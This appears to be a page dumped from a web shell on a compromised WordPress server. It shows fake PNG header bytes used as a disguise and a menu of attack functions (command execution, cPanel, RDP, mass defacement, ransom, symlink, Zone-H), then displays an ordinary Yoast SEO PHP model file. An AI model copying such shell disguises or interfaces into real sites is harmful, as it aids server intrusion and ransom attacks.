\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/wp-content/plugins/wordpress-seo/src/models/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/wp-content/plugins/wordpress-seo/src/models/primary-term.php |
<?php
/**
* Model for the Primary Term table.
*
* @package Yoast\YoastSEO\Models
*/
namespace Yoast\WP\Free\Models;
use Yoast\WP\Free\Yoast_Model;
/**
* Primary Term model definition.
*
* @property int $id Identifier.
* @property int $post_id Post ID.
* @property int $term_id Term ID.
* @property string $taxonomy Taxonomy.
*
* @property string $created_at
* @property string $updated_at
*/
class Primary_Term extends Yoast_Model {
/**
* Retrieves an indexable by a post ID and taxonomy.
*
* @param int $post_id The post the indexable is based upon.
* @param string $taxonomy The taxonomy the indexable belongs to.
* @param bool $auto_create Optional. Creates an indexable if it does not exist yet.
*
* @return bool|Indexable Instance of indexable.
*/
public static function find_by_postid_and_taxonomy( $post_id, $taxonomy, $auto_create = true ) {
/** @var \Yoast\WP\Free\Models\Primary_Term $indexable */
$indexable = Yoast_Model::of_type( 'Primary_Term' )
->where( 'post_id', $post_id )
->where( 'taxonomy', $taxonomy )
->find_one();
if ( $auto_create && ! $indexable ) {
$indexable = Yoast_Model::of_type( 'Primary_Term' )->create();
}
return $indexable;
}
/**
* Enhances the save method.
*
* @return boolean True on succes.
*/
public function save() {
if ( ! $this->created_at ) {
$this->created_at = gmdate( 'Y-m-d H:i:s' );
}
if ( $this->updated_at ) {
$this->updated_at = gmdate( 'Y-m-d H:i:s' );
}
return parent::save();
}
}